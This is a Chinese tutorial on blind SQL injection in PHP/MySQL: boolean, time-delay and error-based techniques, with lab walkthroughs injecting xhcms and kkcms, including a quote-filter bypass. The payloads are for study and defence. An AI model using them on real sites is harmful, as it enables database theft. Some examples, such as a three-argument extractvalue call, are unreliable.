044-WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

#知识点:

1、PHP-MYSQL-SQL注入-方式增删改查
2、PHP-MYSQL-SQL注入-布尔&延迟&报错
3、PHP-MYSQL-SQL注入-数据回显&报错处理

演示案例:

➢PHP-MYSQL-SQL操作-增删改查
➢PHP-MYSQL-注入函数-布尔&报错&延迟
➢PHP-MYSQL-注入条件-数据回显&错误处理
➢PHP-MYSQL-CMS案例-插入报错&删除延迟

#PHP-MYSQL-SQL操作-增删改查

1、功能:数据查询

  • 查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等

  • 增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等

  • 删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等

  • 修改:UPDATE news SET id=$id

#PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在==注入过程中获取的数据不能回显==至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断==(盲注可用布尔盲注(需要回显)==

Untitled

regexp,like,ascii,left,ord,mid

  1. RegExp(正则表达式):
    • 正则表达式是一系列字符,定义了一个搜索模式。它用于在字符串中进行模式匹配。
    • 正则表达式提供了一种强大而灵活的方式来搜索、匹配和操作文本。
  2. LIKE(模糊匹配)
    • LIKE 经常在数据库查询中使用,特别是在SQL中,用于在列中搜索指定的模式。
    • 它允许使用通配符字符,(匹配任何字符序列)和_(匹配任何单个字符)。
  3. ASCII码:
    • ASCII(美国信息交换标准代码)是一种字符编码标准,为键盘上的每个字母、数字和符号分配一个唯一的数字。
    • ASCII 值表示文本字符,被广泛用于计算机中。
  4. LEFT(左侧提取指定数量的字符):
    • 在字符串操作的上下文中,LEFT 是一种在一些编程语言或数据库查询语言中使用的函数。
    • 它从字符串的左侧提取指定数量的字符。
  5. ORD:
    • ORD 是一种在一些编程语言(例如 Python)中用于获取字符的 ASCII 值的函数。
    • 例如,ord('A') 返回 ‘A’ 的 ASCII 值,即 65。
  6. MID:
    • MID(或在一些语言中称为 SUBSTRING)是一种从给定字符串中提取子字符串的函数。
    • 它需要指定的起始位置和要提取的子字符串的长度。

下面是 Python 的一个快速示例:

import re# 正则表达式(RegExp)
pattern = re.compile(r'\\d{3}-\\d{2}-\\d{4}')  # 匹配社会安全号码模式# SQL 中的 LIKESELECT * FROM table WHERE column LIKE 'abc%'# ASCII
ascii_value = ord('A')  # 返回 65# LEFT
original_string = "Hello, World!"
left_result = original_string[:5]  # 返回 "Hello"# ORD
ascii_value_of_H = ord('H')  # 返回 72# MID
substring = original_string[7:12]  # 返回 "World"

布尔相关注入语句:

#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;

2、基于时间的SQL盲注-延时判断==(报错和回显都不需要)==

if,sleep

  1. IF语句:
    • SQL中的**IF**语句用于条件执行,根据指定的条件执行一组SQL语句。
    • 在SQL注入的上下文中,攻击者可能注入一个始终为真的条件,以操纵SQL查询的行为。
  2. SLEEP函数:
    • SLEEP函数用于在执行查询时引入一定的延迟或暂停,可以指定延迟的时间。
    • 攻击者利用**SLEEP函数进行基于时间的盲注,通过观察查询响应的延迟来推断有关数据库的信息。**

下面是一个简单的示例,演示了基于时间的盲注攻击:

假设存在一个有漏洞的查询:

SELECT * FROM users WHERE username = 'input' AND password = 'input'

攻击者可能注入以下有效载荷:

' OR IF(1=1, SLEEP(5), 0)--

在这个注入中,IF(1=1, SLEEP(5), 0)语句将始终为真,导致执行SLEEP(5)函数。双破折号(--)用于注释掉原始查询的其余部分,以防止语法错误。

延迟相关注入语句:

#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);

3、基于报错的SQL盲注-报错回显**(加入报错处理可利用报错盲注)**

Untitled

floor,updatexml,extractvalue

基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息

  1. FLOOR:

    • FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。
    • 如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。
  2. updatexml:

    • updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息

    • 示例:
      上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。

      updatexml(1, concat(0x7e, (SELECT database())), 1)
      
  3. extractvalue:

    • extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。

    • 示例:
      上述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。

      extractvalue(1, concat(0x7e, (SELECT user())), 1)
      

报错相关注入语句:

#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

4.参考:

  • 更多:https://www.jianshu.com/p/bc35f8dd4f7c
like 'ro%'            #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1)database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

#PHP-MYSQL-注入条件-数据回显&错误处理

PHP开发项目-输出结果&开启报错

1.基于延时:((报错和回显都不需要))

  • and if(1=1,sleep(3),0)

    • if 函数被使用,但条件始终为真(1 =1)。

    • 因此,sleep(3) 函数会执行。

    • 这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。

      Untitled

  • and if(left(database(),1)='d',sleep(3),0)

    • 是检查当前数据库的名称的第一个字符是否为 ‘d’。如果是,它会引入一个3秒的延迟(sleep(3)),否则返回0。

      Untitled

      Untitled

2.基于布尔:有数据库输出判断标准盲注可用布尔盲注(需要回显

Untitled

  • 通过判断页面上的某个元素变化,来判断是否注入成功

    • and length(database())=6(检查当前数据库名称的长度是否为6。)

    • 当变为7则出现页面无内容,则证明,该数据库名称的长度是否为6

      Untitled

      Untitled

    • and left(database(),1)='d';(检查当前数据库名称的第一个字符是否为 ‘d’。)

    • 当变为p则出现页面p无内容,则证明,该数据库名称第一个字符是 ‘d’

    Untitled

    Untitled

3.基于报错:有数据库报错处理判断标准(加入报错处理可利用报错盲注)

Untitled

  • and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

    • 攻击者试图**通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号**,从而引发错误并泄露版本信息。

      Untitled

  • and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    • 攻击者试图==通过 extractvalue 函数获取 information_schema.tables 表的第一个表名==。通过观察错误消息,攻击者可以逐步推断数据库结构。

4.测试delete注入:(有无回显,有无报错)

  • 分析源码得出

    Untitled

Untitled

  • SQL注入攻击中**使用 ORAND 的选择通常取决于攻击者试图实现的目标和特定的注入场景。**让我解释一下使用这两个逻辑运算符的原因:

    1. 使用 OR

      • 目标多条件的成立: 攻击者可能使用 OR 运算符来构造注入条件,以确保多个条件中的至少一个成立。这对于布尔盲注攻击很有用,因为攻击者可以通过观察应用程序的行为来确定是否存在真或假的条件。
      • 绕过登录验证: 在登录场景中,攻击者可能使用 OR 条件来绕过用户名和密码的验证,使条件总是为真,从而成功登录。
    2. 使用 AND

      • 目标多条件同时成立: 有时,攻击者可能希望确保多个条件同时成立,这时候 AND 运算符更适用。这在一些特定的注入场景中可能更有用。

      • 限制结果集: 使用 AND 可以帮助攻击者过滤结果集,以获取更具体的信息。例如,AND 可以用于构造条件以筛选特定用户的数据。

        Untitled

(1) 删除(延迟):1 and if(1=1,sleep(3),0)

Untitled

Untitled

(2)删除(布尔):4 and length(database())=6(无回显 无法判断注入)

Untitled

Untitled

(3)删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

Untitled

Untitled

#PHP-MYSQL-CMS案例-插入报错&删除延时

面试问题:如果是黑盒测试,要求盲注,选用什么方式?

回答:可以选择报错或延时(由于无法判断,其源码是否有容错处理,首先试一下报错,使用延时也可以,但是需要注意符号问题)

1、xhcms-insert报错

’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:insert
  3. 发现有报错处理:文件路径为:files/submit.php
  4. 由于网址在index.php有规定,特殊的路由访问方式
  5. 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发**
  6. 所以直接使用http://192.168.137.1:85/?r=contact 触发网址,并对照源码发现,就是此页面**
  7. 再次查看submit.php页面发现其SQL语句中的表名为$query = "INSERT INTO ***interaction ,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;*
  8. 分析sql语句$query = "INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES ('$type', '$xs', '$cid', '$name', '$mail', '$url', '$touxiang', '$shebei', '$ip', '$content', '$tz', now())"; 发现有‘ ’影响,在注入时,需要避免
  9. 使用注入:' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
  10. 注意:留言内容必须是中文,不然会无法回显报错
  11. 数据回显:新增错误:XPATH syntax error: '5.7.26’,盲注成功

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

2、kkcms-delete延时

and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:delete
  3. 发现有删除相关代码:文件路径为:admin/model/usergroup.php
  4. 访问发现http://192.168.137.1:86/admin/model/usergroup.php,出现空白,
  5. 解决:必须需要登录http://192.168.137.1:86/admin 还是空白
  6. 由于**usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配**
  7. 搜到包含文件**include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php**
  8. http://192.168.137.1:86/admin/cms_usergroup.php 访问成功
  9. 由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp**

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

  • 使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功**?del=4 or if(1=1,sleep(2),sleep(0))**

  • 回显200成功后,将**?del=4%20or%20if(1=1,sleep(1),sleep(0)) 注入代码写入GET头,并查看右下角,发现有延时,注入成功**

    • 需要注意,在写入GET头中的注入语句,需要将空格转换为%20字符,直接输入空格会报错,导致无法识别
  • **?del=4%20or%20if(**length(database())=5**,sleep(1),sleep(0)) 将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位**

  • **?del=4%20or%20if(**left(database(),1)='k'**,sleep(1),sleep(0))将判断内容替换为**检查当前数据库名称的第一个字符是否为 ‘k’。

    Untitled

    • 发现,回显的数据包,并没有延时,但数据库名为kkcms
    • 将源码的sql语句打印出来,发现是源码对于单引号做了过滤
      • ord() 函数:
      • ord() 函数返回字符串的第一个字符的 ASCII 值。
      • 在这个语句中,ord(left(database(),1)) 返回当前数据库名称的第一个字符的 ASCII 值。
  • 将**?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0)) 将条件使用ord() 函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤**

Untitled

Untitled

Untitled

Untitled

#xhcms-kkcms-网址搭建

1、xhcms

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

2、kkcms

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/492593.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

05 Flink 的 WordCount

前言 本文对应于 spark 系列的 Spark 的 WordCount 这里主要是 从宏观上面来看一下 flink 这边的几个角色, 以及其调度的整个流程 一个宏观 大局上的任务的处理, 执行 基于 一个本地的 flink 集群 测试用例 /*** com.hx.test.Test01WordCount** author Jerry.X.He* ver…

k8s分布式图床(k8s,metricsapi,vue3+ts)

image-manage 文档 warning 注意⚠️ 1. 你需要至少一个mysql数据库 2. 你需要至少一个redis数据库 3. 你需要一个版本至少 kubernetes 1.29的集群(集群可选) ::: 单机部署(docker) # clone the project docker run -p 8080:8080 \-v 你的数据目录:/app\-e CONFIG_ISCLUST…

ELF 1技术贴|开发板网口功能讲解

在当前的嵌入式系统设计趋势中&#xff0c;MAC功能普遍被整合至CPU内核&#xff0c;形成一种高度集成的网络功能模块。与此同时&#xff0c;PHY芯片作为独立器件&#xff0c;专注于应对物理层错综复杂的电气特性和信号转换需求。为了确保PHY芯片能够在所需的各种网络模式和参数…

一周学会Django5 Python Web开发-Django5文件上传实现

锋哥原创的Python Web开发 Django5视频教程&#xff1a; 2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~共计26条视频&#xff0c;包括&#xff1a;2024版 Django5 Python we…

邀请函 | 2024年数据技术嘉年华集结号已吹响,期待您参会!

龙腾四海内&#xff0c;风云际会时&#xff0c;2024年中国数据嘉年华如约而至。从起初小范围的网友聚会&#xff0c;到如今面向全国各地从业者、爱好者的年度集会&#xff0c;纵使岁月更迭&#xff0c;我们初心依旧。我们在各自最好的年华里共同见证了中国数据库行业的蓬勃发展…

NLP 使用Word2vec实现文本分类

&#x1f368; 本文为[&#x1f517;365天深度学习训练营学习记录博客 &#x1f366; 参考文章&#xff1a;365天深度学习训练营 &#x1f356; 原作者&#xff1a;[K同学啊 | 接辅导、项目定制]\n&#x1f680; 文章来源&#xff1a;[K同学的学习圈子](https://www.yuque.com/…

浅谈门级驱动电压对IGBT性能的影响

绝缘门极双极型晶体管&#xff08;IGBT&#xff09;是复合了功率场效应管和电力晶体管的优点而产生的一种新型复合器件&#xff0c;具有输入阻抗高、工作速度快、热稳定性好、驱动电路简单、饱和压降低、耐压高电流大等优点&#xff0c;因此现今应用相当广泛。但是IGBT良好特性…

TypeScrip遍历对象报错问题

解决TypeScrip遍历对象报错问题 文章目录 解决TypeScrip遍历对象报错问题声明接口&#xff0c;遍历对象报错解决方式keyof给对象声明一个接口泛型as anyas any 声明接口&#xff0c;遍历对象报错 interface DEPT {name: string;age: number,[key: string]: any }解决方式 // 用…

【C#】获取文本中的链接,通过正则表达式的方法获取以及优化兼容多种格式

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是《C#》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌握。…

邮件营销神器Focussend,轻松实现1美元转化72美元的营销高回报!

随着社交媒体营销逐渐成为主流&#xff0c;一家名为Focussend的公司却在邮件营销领域崭露头角。成立于2009年&#xff0c;Focussend经过尝试综合营销后&#xff0c;选择进入古早但高回报的邮件营销市场。目前&#xff0c;该公司在跨境平台中排名靠前&#xff0c;服务着上万名中…

项目管理基本要素--项目、项目集、项目组合

本文描述从事项目管理和了解项目管理领域所需的基本要素&#xff0c;词汇定义来自于《项目知识管理体系》(PMBOK指南)第六版&#xff0c;仅作个人学习使用&#xff0c;任何对此文章的引用&#xff0c;应当说明源出处&#xff0c;不得用于商业用途。 如有侵权、联系速删 文章目录…

Linux Debian12安装fcitx5中文拼音输入法

&#xfeff;我使用Debian系统已经4年了&#xff0c;我常在Debian系统上安装ibus google拼音输入法&#xff0c;但是有时这个输入法会卡死&#xff0c;停上几分钟后又恢复正常了&#xff0c;经常被这个困扰。不过在Debian 11或Debian12中我们可以使用fcitx5中文拼音输入法了&am…